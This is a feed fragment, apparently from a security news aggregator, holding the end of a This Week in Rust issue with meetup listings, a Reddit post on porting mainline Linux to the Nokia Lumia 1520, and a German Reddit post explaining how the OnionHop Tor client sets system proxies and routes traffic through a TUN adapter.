<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1uzknzl/tokiorstopcoat_a_batteriesincluded_framework_for/oy8k2nn/">Carl Lerche on r/rust</a> about the launch of topcoat</p>
<p>Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1v41dgv/this_week_in_rust_661/">Discuss on r/rust</a></small></p>]]></content:encoded>
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<title><![CDATA[bringing mainline Linux to the Nokia Lumia 1520]]></title>
<description><![CDATA[Hey everyone, I’ve been working on getting a modern mainline Linux stack running on the Nokia Lumia 1520, a 2013 Windows Phone built around Qualcomm’s MSM8974 platform. This isnt an Android ROM port or a Windows Phone mod. The goal is to bring the device up on a current Linux kernel with postmark...]]></description>
<link>https://tsecurity.de/de/3687880/linux-tipps/bringing-mainline-linux-to-the-nokia-lumia-1520/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687880/linux-tipps/bringing-mainline-linux-to-the-nokia-lumia-1520/</guid>
<pubDate>Thu, 23 Jul 2026 04:29:03 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hey everyone,</p> <p>I’ve been working on getting a modern mainline Linux stack running on the Nokia Lumia 1520, a 2013 Windows Phone built around Qualcomm’s MSM8974 platform.</p> <p>This isnt an Android ROM port or a Windows Phone mod. The goal is to bring the device up on a current Linux kernel with postmarketOS and gradually implement the missing hardware support needed to make it usable.</p> <p>So far, I’ve managed to:</p> <ul> <li>Build a custom bootloader and device-tree configuration</li> <li>Create a postmarketOS device package for the RM-940</li> <li>Boot a Linux 6.16-based kernel</li> <li>Bring up USB networking</li> <li>Establish a stable SSH connection to the phone</li> <li>Run an Alpine Linux/postmarketOS userspace</li> <li>Begin implementing device-specific power and hardware support</li> </ul> <p>The SSH milestone was a major step because I can now properly inspect the running system, collect logs, test kernel changes, and continue development without relying only on framebuffer output or early boot behavior.</p> <p>The current challenge is power management.</p> <p>Full system suspend currently powers down the USB high-speed PHY, but the PHY fails to initialize again when the device resumes. Because USB networking is also the main development connection, this effectively cuts off access to the phone.</p> <p>For now, I’m treating display blanking and panel power management as a separate, more achievable target while I continue investigating the suspend/resume issue.</p> <p>There is still a lot missing, and I would not call it a usable daily-driver port yet, but the Lumia 1520 is now booting a modern Linux kernel and running a real userspace more than a decade after the hardware was released. I just wanted to share the work....</p> <p>The work is public here:</p> <p><a href="https://github.com/KorelisLabs/lumia-1520-mainline">https://github.com/KorelisLabs/lumia-1520-mainline</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/DestinyInDepth"> /u/DestinyInDepth </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v3s3p3/bringing_mainline_linux_to_the_nokia_lumia_1520/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v3s3p3/bringing_mainline_linux_to_the_nokia_lumia_1520/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Digitale Selbstbestimmung: OnionHop leitet euren gesamten Datenverkehr durch das Tor-Netzwerk (Linux/Win/Mac)]]></title>
<description><![CDATA[OnionHop – Überblick OnionHop — route your traffic through Tor, with clear controls ist ein moderner plattformübergreifender Desktop-Client (für Windows, Linux und macOS) mit starkem Fokus auf Privatsphäre. Er ermöglicht es Nutzern, ihren Datenverkehr über das Tor-Netzwerk zu leiten. Es handelt s...]]></description>
<link>https://tsecurity.de/de/3687868/it-security-nachrichten/digitale-selbstbestimmung-onionhop-leitet-euren-gesamten-datenverkehr-durch-das-tor-netzwerk-linuxwinmac/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687868/it-security-nachrichten/digitale-selbstbestimmung-onionhop-leitet-euren-gesamten-datenverkehr-durch-das-tor-netzwerk-linuxwinmac/</guid>
<pubDate>Thu, 23 Jul 2026 04:14:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><h1>OnionHop – Überblick</h1> <p><a href="https://www.onionhop.de/">OnionHop — route your traffic through Tor, with clear controls</a> ist ein moderner plattformübergreifender Desktop-Client (für Windows, Linux und macOS) mit starkem Fokus auf Privatsphäre. Er ermöglicht es Nutzern, ihren Datenverkehr über das Tor-Netzwerk zu leiten. Es handelt sich um ein unabhängiges Open-Source-Projekt, das nicht offiziell mit dem <a href="https://www.torproject.org/">Tor Project | Anonymity Online</a> verbunden ist. Die OnionHop Oberfläche bietet 8 Sprachen (Englisch, Deutsch, Französisch, Chinesisch, Russisch, Persisch, Aserbaidschanisch und Sorani Kurdisch).</p> <p>Melden Sie sich freiwillig als Snowflake-Proxy helfen Sie zensierten Benutzern, Tor direkt von den Einstellungen aus zu erreichen (siehe Einstellungen).</p> <h1>Hauptfunktionen</h1> <ul> <li><strong>Proxy-Modus:</strong> Leitet den Datenverkehr ressourcenschonend über einen lokalen SOCKS-Proxy um, ohne dass Administratorrechte benötigt werden. Ein Knopfdruck auf "System Proxy: On" und alle gängigen Browser benutzen das Tor Netzwerk.</li> <li><strong>TUN-Modus (eigene virutelle Netzwerkkarte):</strong> Leitet den Datenverkehr des gesamten Systems (alle Apps) mit einem Klick über das Tor-Netzwerk um.</li> <li><strong>Split-Tunneling:</strong> Ermöglicht die individuelle Auswahl, welche Apps über Tor laufen und welche direkte Verbindungen nutzen.</li> <li><strong>Kill-Switch:</strong> Blockiert den ausgehenden Datenverkehr sofort, wenn die Tor-Verbindung abbricht, um ungeschützte Datenlecks zu verhindern.</li> <li><strong>DNS-Steuerung:</strong> Erzwingt DNS-Anfragen über Tor und verhindert Lecks zum Internetanbieter (inklusive QUIC/UDP-Leckschutz).</li> <li><strong>Länder- &amp; Seiten-Routing:</strong> Erlaubt direkte Verbindungen für bestimmte Länder oder das Blockieren von Domains basierend auf automatisch aktualisierten Listen.</li> <li><strong>CLI-Client:</strong> Bietet eine Kommandozeilenversion ohne grafische Oberfläche, ideal für Server und Automatisierungen. Zensurumgehung und Netzwerktechnologien</li> <li><strong>Smart Connect:</strong> Wählt automatisch die optimale Engine, Route und Bridge für das aktuelle Netzwerk.</li> <li><strong>Integrierter Bridge-Scanner:</strong> Sucht und testet automatisch funktionierende Brücken (Bridges) in restriktiven Netzwerken, sodass keine manuelle Eingabe erforderlich ist.</li> <li><strong>Pluggable Transports:</strong> Unterstützt Protokolle wie obfs4, snowflake, webtunnel, conjure, meek, dnstt und vanilla, um Netzwerkblockaden zu umgehen.</li> <li><strong>Tor-Engines:</strong> Nutzt Classic (tor), Arti (<a href="https://gitlab.torproject.org/tpo/core/arti/-/blob/main/CHANGELOG.md"><em>A Rust Tor Implementation</em></a> <em>(Gitlab Changelog) oder</em> <a href="https://arti.torproject.org/"><em>https://arti.torproject.org/</em></a> <em>für die Nerds</em> <a href="https://dspacemainprd01.lib.uwaterloo.ca/server/api/core/bitstreams/538e4dac-759f-4677-a8f6-10cc83482165/content#:~:text=We%20illustrate%20an%20example%20of%20this%20occurrence,our%20proposal%2C%20and%20details%20about%20its%20implementation">Improving Tor using a TCP-over-DTLS Tunnel (PDF, englisch)</a><em>, bald schon mit UDP Unterstützung</em> <a href="https://spec.torproject.org/proposals/348-udp-app-support.html">339 / 348-udp-app-support - Tor design proposals</a> <em>(Tor Architektur), dies ist die Zukunft von Tor, weg von C mit seinen historisch vielen Buffer Overflows ~65% aller Tor Sicherheitslücken, mit RPC-Schnittstelle (Remote Procedure Call / Methodenaufruf auf entfernten Systemen / Software) und UDP für moderne Anwendungen)</em></li> </ul> <p>Da Transparenz bei Software für die informationelle Selbstbestimmung das Wichtigste ist, ist das gesamte Projekt <strong>quelloffen (Open Source)</strong>. Ihr könnt euch den Quellcode jederzeit auf GitHub ansehen, ihn selbst kompilieren oder Code-Überprüfungen (Code Reviews) durchführen:</p> <p>👉 <strong>GitHub-Repository:</strong> <a href="https://github.com/center2055/OnionHop">center2055/OnionHop: Privacy-first Desktop app that routes your traffic through Tor - Anonymous browsing made simple</a></p> <p>Die Software steht für <strong>Linux, Windows und macOS</strong> zur Verfügung (es gibt auch tragbare Versionen, die nicht installiert werden müssen). <strong>Neben</strong> der <strong>grafischen Oberfläche</strong> gibt es für Automatisierungen auch eine <strong>reine Kommandozeilen-Version (CLI)</strong>.</p> <h1>Systemweite Socks5 Proxy vs. TUN VPN-Technik Modus mit eigener virtuellen Netzwerkkarte (TUN)</h1> <p>Um zu verstehen, warum der TUN oft sicherer ist, hilft ein direkter Vergleich:</p> <table><thead> <tr> <th align="left"><strong>Eigenschaft</strong></th> <th align="left"><strong>Systemweiter Vermittlungsserver (System SOCKS5</strong> <strong>Proxy)</strong></th> <th align="left"><strong>TUN "Netzwerktunnel"(OSI Layer 3</strong>) <strong>"virtuellen Netzwerkadapter" nicht TAP wie bei VPN Layer 2</strong></th> </tr> </thead><tbody> <tr> <td align="left"><strong>Arbeitsweise</strong></td> <td align="left">Setzt darauf, dass Programme die Regeln des Betriebssystems respektieren und die Poststelle nutzen.</td> <td align="left">Zwingt den gesamten Netzwerkverkehr auf tiefer Ebene durch einen Trichter.</td> </tr> <tr> <td align="left"><strong>Zuverlässigkeit</strong></td> <td align="left">Manche Programme (z. B. bestimmte Spiele oder Hintergrunddienste) ignorieren diese Einstellungen und funken direkt ins Internet.</td> <td align="left">Fängt alles ab, völlig unabhängig davon, wie das einzelne Programm programmiert ist.</td> </tr> <tr> <td align="left"><strong>Schutz vor Datenlecks</strong></td> <td align="left">Es kann vorkommen, dass Informationen (wie Adressanfragen) ungeschützt nach außen dringen (Datenlecks).</td> <td align="left">Bietet einen sehr hohen Schutz vor Datenlecks, da kein Datenpaket die Straßensperre umgehen kann. Eigenschaft Systemweiter Vermittlungsserver (SOCK5 Proxy) TUN-ModusArbeitsweise Setzt darauf, dass Programme die Regeln des Betriebssystems respektieren und die Poststelle nutzen. Zwingt den gesamten Netzwerkverkehr auf tiefer Ebene durch einen Trichter. Zuverlässigkeit Manche Programme (z. B. bestimmte Spiele oder Hintergrunddienste) ignorieren diese Einstellungen und funken direkt ins Internet. Fängt alles ab, völlig unabhängig davon, wie das einzelne Programm programmiert ist. Schutz vor Datenlecks Es kann vorkommen, dass Informationen (wie Adressanfragen) ungeschützt nach außen dringen (Datenlecks). Bietet einen sehr hohen Schutz vor Datenlecks, da kein Datenpaket die Straßensperre umgehen kann.</td> </tr> </tbody></table> <p><strong>Zusammenfassung: Warum es beide Modi (System SOCKS5 Proxy und TUN) gibt</strong></p> <p>Genau an diesem Punkt zeigt sich, warum Werkzeuge wie OnionHop unterschiedliche Modi anbieten müssen:</p> <ol> <li><strong>Der System SOCKS5 Proxy-Modus (Anwendung muss Socks5 fähig sein z.B. alle Internet Browser):</strong> Er ist sehr ressourcenschonend und leichtgewichtig. Er eignet sich hervorragend, wenn du gezielt nur die Anwendungen über das Tor-Netzwerk leiten möchtest, die diesen Standard unterstützen (wie deinen Browser).</li> <li><strong>Der TUN-Modus "virtuelle Netzwerkkarte":</strong> Er löst exakt das Problem der fehlenden Unterstützung in Programmen. Wie wir zuvor besprochen haben, baut dieser Modus eine **virtuelle Netzwerkkarte (**sichtbar unter "Netzwerkverbindungen" unter Windows, WIN + R = <code>ncpa.cpl)</code> auf und zwingt das Betriebssystem, <strong>alles</strong> dorthin zu leiten. Hierbei ist es völlig egal, ob ein Programm von Vermittlungsservern weiß oder nicht – die Daten werden auf einer Ebene abgefangen, der sich kein Programm entziehen kann.</li> </ol> <h1>Für die Entwickler unter euch: Wie ändert man den System-Proxy eigentlich programmatisch?</h1> <p>Wer schon länger in der Softwareentwicklung tätig ist, kennt das Problem bei der plattformübergreifenden Programmierung: Ein einheitliches Vorgehen gibt es hier leider nicht. Jedes Betriebssystem kocht sein eigenes Süppchen, was bei Werkzeugen wie OnionHop unter der Haube einigen Aufwand bedeutet. Hier ist ein kleiner technischer Einblick, wie der Code das im Hintergrund löst:</p> <p><strong>1. Windows: Die Registrierungsdatenbank und WinINet</strong> Einfach nur Werte in eine Konfigurationsdatei zu schreiben, reicht hier nicht. Zuerst müssen die Werte in der Registrierungsdatenbank (im Zweig <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings</code>) manipuliert werden (z. B. <code>ProxyEnable</code> auf <code>1</code> und <code>ProxyServer</code> auf <code>127.0.0.1:9050</code>). Der entscheidende Schritt ist danach aber, das System über diese Änderung zu benachrichtigen, da laufende Anwendungen (wie der Browser) die neuen Werte sonst ignorieren. Dafür muss ein Aufruf der Windows-Systembibliothek <code>wininet.dll</code> erfolgen. Über die Programmierschnittstelle (API) <code>InternetSetOption</code> feuert man die Markierungen (Flags) <code>INTERNET_OPTION_SETTINGS_CHANGED</code> und <code>INTERNET_OPTION_REFRESH</code> ab, um das System zum sofortigen Neuladen zu zwingen.</p> <p><strong>2. Linux: Die große Fragmentierung</strong> Gerade wenn man in hybriden Umgebungen (wie dem Windows-Subsystem für Linux oder mit Container-Lösungen) entwickelt, merkt man schnell: Linux hat keine zentrale Instanz für diese Einstellungen.</p> <ul> <li><strong>Kommandozeile und Hintergrunddienste:</strong> Diese reagieren fast ausschließlich auf Umgebungsvariablen wie <code>http_proxy</code> oder <code>ALL_PROXY</code>. Diese müssen durch das Programm systemweit oder in den jeweiligen Startskripten (z. B. <code>~/.bashrc</code>) gesetzt werden.</li> <li><strong>GNOME-Desktop:</strong> Hier wird die Konfigurationsdatenbank (dconf) genutzt. Programmatisch löst man das über die C-Programmierschnittstelle von GLib oder einfacher durch das Ausführen von Systembefehlen im Hintergrund (z. B. <code>gsettings set org.gnome.system.proxy mode 'manual'</code>).</li> <li><strong>KDE Plasma:</strong> Speichert die Konfiguration in Textdateien (<code>~/.config/kioslaverc</code>), die von der Software analysiert und editiert werden müssen, gefolgt von einem Befehl zum Neustart der zuständigen KDE-Dienste.</li> </ul> <p><strong>3. macOS: SystemConfiguration Framework</strong> Apple regelt das Netzwerkmanagement streng über die einzelnen Hardware-Schnittstellen (WLAN, Kabelnetzwerk etc.).</p> <ul> <li><strong>Der skriptbasierte Weg:</strong> Ein Programm ruft im Hintergrund das vorinstallierte Kommandozeilen-Werkzeug <code>networksetup</code> auf, um den Vermittlungsserver für jede aktive Netzwerkschnittstelle einzeln zu setzen (z. B. <code>networksetup -setsocksfirewallproxy "Wi-Fi"</code> <a href="http://127.0.0.1/"><code>127.0.0.1</code></a> <code>9050</code>).</li> <li><strong>Der native Weg:</strong> Die Software greift direkt über C oder Swift auf das Systemgerüst <code>SystemConfiguration</code> zu. Über die Programmierschnittstelle <code>SCDynamicStore</code> klinkt man sich in den Konfigurationsspeicher ein, schreibt ein Datenverzeichnis mit den neuen Werten in den Pfad <code>State:/Network/Global/Proxies</code> und teilt so dem Kernel die Netzwerkänderung ohne Umwege direkt mit.</li> </ul> <h1>Wie Onionhop unter Windows den Datenverkehr über virtuelle Netzwerkschnittstellen (TUN) lenkt</h1> <p>Die Magie passiert über <strong>virtuelle Netzwerkschnittstellen (TUN-Modus)</strong> und gezielte Manipulation der <strong>Wegfindung (Routing)</strong>.</p> <h1>1. Der virtuelle Netzwerktreiber</h1> <p>Windows nutzt für Netzwerkkarten die sogenannte <em>Network Driver Interface Specification</em> (NDIS). Tools wie Onionhop installieren einen virtuellen Treiber (oft auf Basis von Wintun).</p> <p>Auf der Ebene des <strong>Betriebssystemkerns (Kernel-Ebene)</strong> ist dieser Treiber eine vollwertige Netzwerkkarte. Das System sieht absolut keinen Unterschied zu eurem echten WLAN-Modul oder Netzwerkkabel. Dieser Adapter arbeitet auf der <strong>Vermittlungsschicht (Layer 3)</strong>. Er verarbeitet also reine IP-Datenpakete (Internetprotokoll) und simuliert keine Hardware-Adressen (MAC-Adressen) der tieferen Schichten.</p> <h1>2. Die Übernahme der Wegfindung (Routing)</h1> <p>Damit Windows die Daten nicht ans WLAN, sondern an Onionhop schickt, wird die <strong>Wegfindungstabelle (Routingtabelle)</strong> dynamisch angepasst, sobald die Verbindung steht:</p> <ul> <li>Onionhop fügt eine neue Standardroute (<code>0.0.0.0/0</code> – also den Weg für "alle unbekannten Ziele im Internet") hinzu, die auf die virtuelle TUN-Schnittstelle zeigt.</li> <li>Der entscheidende Trick: Diese neue Route bekommt einen niedrigeren <strong>Prioritätswert (Metrik)</strong> als der echte WLAN-Adapter. Da Windows bei konkurrierenden Routen immer den Weg mit dem niedrigsten Wert wählt, fließt der gesamte ausgehende Datenverkehr des Systems ab sofort in den virtuellen Tunnel.</li> </ul> <h1>3. Datenkapselung im Anwendungsbereich (User-Space)</h1> <p>Jetzt landen die Daten (Nutzdaten) bei der Onionhop-Anwendung, die als Hintergrunddienst läuft:</p> <ol> <li>Die Anwendung lauscht an der virtuellen Schnittstelle und fängt die IP-Pakete ab.</li> <li>Sie verschlüsselt diese Nutzdaten.</li> <li>Die verschlüsselten Pakete werden nun mit einer neuen Ziel-IP versehen (dem ersten Knotenpunkt im Onion-Netzwerk). Das nennt man <strong>Datenkapselung (Encapsulation)</strong>.</li> <li>Erst jetzt übergibt Onionhop diese neu verpackten Pakete wieder an den Windows-Netzwerkstapel.</li> </ol> <p>Die Wegfindungstabelle von Windows sieht nun diese spezifische Ziel-IP des Einsteiger-Knotens und weiß: <em>"Ah, diese IP muss über das echte Standard-Gateway des physischen WLAN-Adapters raus."</em></p> <p>Der echte WLAN-Adapter dient also nur noch als reines Transportmedium für den bereits gekapselten und verschlüsselten Datenverkehr. Die eigentlichen Programme (wie der Browser) denken währenddessen, sie sprechen mit einer ganz normalen Netzwerkkarte.</p> <p><strong>Zum Selbstprüfen für die Kommandozeile:</strong></p> <p>Wer sich das beim Testen von Onionhop live ansehen will, kann die PowerShell nutzen:</p> <ul> <li><strong>Versteckte Schnittstellen anzeigen:</strong></li> <li><code>PowerShellGet-NetAdapter -IncludeHidden</code></li> <li><strong>Wegfindung und Prioritäten prüfen:</strong></li> <li><code>PowerShellGet-NetRoute -DestinationPrefix "0.0.0.0/0"</code></li> </ul> <h1>Was ist die Abgrenzung zu einem "echten" VPN wie z.B. ProtonVPN?</h1> <table><thead> <tr> <th align="left"><strong>Eigenschaft</strong></th> <th align="left"><strong>OnionHop (Tor-Netzwerk)</strong></th> <th align="left"><strong>Klassisches VPN (z.B. ProtonVPN)</strong></th> </tr> </thead><tbody> <tr> <td align="left"><strong>Architektur</strong></td> <td align="left"><strong>Dezentral.</strong> Deine Daten fließen über drei zufällige, weltweit verteilte Knotenpunkte.</td> <td align="left"><strong>Zentralisiert.</strong> Deine Daten fließen direkt durch einen festen Server des VPN-Anbieters.</td> </tr> <tr> <td align="left"><strong>Vertrauensmodell</strong></td> <td align="left"><strong>Trustless.</strong> Du musst niemandem vertrauen. Der erste Knoten kennt dich (aber nicht das Ziel), der letzte Knoten kennt das Ziel (aber nicht dich).</td> <td align="left"><strong>Vertrauensbasiert.</strong> Du musst deinem VPN Anbieter zu 100 % vertrauen, da sie deinen gesamten unverschlüsselten Datenverkehr sehen können.</td> </tr> <tr> <td align="left"><strong>Protokolle</strong></td> <td align="left">Tor transportiert prinzipbedingt <strong>nur TCP-Verbindungen</strong>. UDP (wichtig für Online-Spiele oder VoIP) wird blockiert.</td> <td align="left">Überträgt TCP, UDP und oft auch ICMP (Ping) vollständig. Eigenschaft OnionHop (Tor-Netzwerk) Klassisches VPN (z.B. ProtonVPN) Architektur Dezentral. Deine Daten fließen über drei zufällige, weltweit verteilte Knotenpunkte. Zentralisiert. Deine Daten fließen direkt durch einen festen Server des VPN-Anbieters. Vertrauensmodell Trustless. Du musst niemandem vertrauen. Der erste Knoten kennt dich (aber nicht das Ziel), der letzte Knoten kennt das Ziel (aber nicht dich). Vertrauensbasiert. Du musst deinem VPN Anbieter zu 100 % vertrauen, da sie deinen gesamten unverschlüsselten Datenverkehr sehen können.Protokolle Tor transportiert prinzipbedingt nur TCP-Verbindungen. UDP (wichtig für Online-Spiele oder VoIP) wird blockiert. Überträgt TCP, UDP und oft auch ICMP (Ping) vollständig.</td> </tr> </tbody></table> <h1>Das Virtuelle Private Netzwerk (VPN): Tiefer Eingriff auf Schicht 2 und 3</h1> <p>Ein VPN verhält sich für das Betriebssystem wie eine echte, physische Netzwerkkarte – nur eben als virtuelle Variante (Netzwerkschnittstelle). Es greift tief in das System ein und fängt den gesamten Datenverkehr ab, bevor dieser das Gerät verlässt.</p> <ul> <li><strong>Auf der Vermittlungsschicht (Schicht 3 / Network Layer):</strong> Hier arbeiten die meisten modernen VPN-Verbindungen (wie WireGuard oder IPsec). Sie verpacken (kapseln) komplette IP-Datenpakete. Das bedeutet, dass die gesamte Netzkopplung (Routing) übernommen wird. Jeder Datenverkehr – egal ob gesicherte Verbindungsaufbauten (TCP), verbindungslose Übertragungen (UDP) oder Diagnoseabfragen (ICMP, wie bei einem Ping) – wird in den verschlüsselten Tunnel gezwungen.</li> <li><strong>Auf der Sicherungsschicht (Schicht 2 / Data Link Layer):</strong> Einige VPN-Lösungen beherrschen auch die sogenannte Netzwerküberbrückung (Bridging, z. B. OpenVPN im TAP-Modus). Hier werden die rohen Datenrahmen (Ethernet Frames) übertragen. Das System verhält sich so, als wären alle Rechner über hunderte Kilometer hinweg an denselben physischen Netzwerkverteiler (Switch) angeschlossen. In diesem Modus werden sogar lokale Netzwerk-Rundrufe (Broadcasts) durch den Tunnel übertragen.</li> </ul> <h1>Das Zwiebelnetzwerk (Tor): Aufsatz auf Schicht 4 und 7</h1> <p>Tor arbeitet architektonisch völlig anders und hat mit den unteren Netzwerkschichten (Schicht 2 und 3) primär nichts zu tun. Es erstellt keine virtuelle Netzwerkkarte im Betriebssystem.</p> <ul> <li><strong>Anwendungsschicht (Schicht 7) &amp; Transportschicht (Schicht 4):</strong> Das Tor-Programm läuft lokal als Stellvertreter-Dienst (SOCKS-Proxy). Eure Software (z. B. der Browser) muss explizit so konfiguriert werden, dass sie diesen Stellvertreter anspricht. Tor nimmt diese Anfragen entgegen und wickelt den Datenstrom ausschließlich über die Transportschicht ab – und hier auch <strong>nur für das TCP-Protokoll</strong>.</li> <li><strong>Keine rohen Pakete:</strong> Tor transportiert keine IP-Datenpakete (Schicht 3) und keine Ethernet-Datenrahmen (Schicht 2). Verbindungslose UDP-Pakete oder simple Ping-Abfragen (ICMP) werden vom Tor-Netzwerk schlichtweg nicht weitergeleitet.</li> </ul> <h1>Die Konsequenz für die IT-Sicherheit (Datenlecks)</h1> <p>Aus Sicht der Informationssicherheit ergibt sich daraus ein massiver Unterschied im Gefahrenpotenzial:</p> <p>Da ein klassisches VPN auf der <strong>Vermittlungsschicht (Schicht 3)</strong> arbeitet, fängt es als Standard-Netzweg (Default Gateway) den <em>gesamten</em> Verkehr des Betriebssystems ein.</p> <p>Das Zwiebelnetzwerk hingegen ist stark anfällig für Datenlecks (Leakage), da es auf <strong>Schicht 4 und 7</strong> operiert. Wenn eine Anwendung auf dem Rechner nicht strikt an den Tor-Stellvertreter (Proxy) gebunden ist, oder wenn sie versucht, über das verbindungslose UDP-Protokoll eine Namensauflösung (DNS-Anfrage) durchzuführen, wandern diese Datenpakete unverschlüsselt am Zwiebelnetzwerk vorbei ins normale Internet. Eure echte IP-Adresse wäre in diesem Fall sofort enttarnt. Um Tor so abzusichern, dass es wie ein VPN den gesamten Rechnerverkehr schützt (auf Schicht 3 erzwingt), bedarf es spezialisierter Betriebssysteme wie <a href="https://tails.net/">Tails</a> oder dedizierter Hardware-Zwischenstationen.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Horus_Sirius"> /u/Horus_Sirius </a> <br> <span><a href="https://www.onionhop.de/">[link]</a></span>   <span><a href="https://www.reddit.com/r/Computersicherheit/comments/1v3vcph/digitale_selbstbestimmung_onionhop_leitet_euren/">[comments]</a></span>]]></content:encoded>
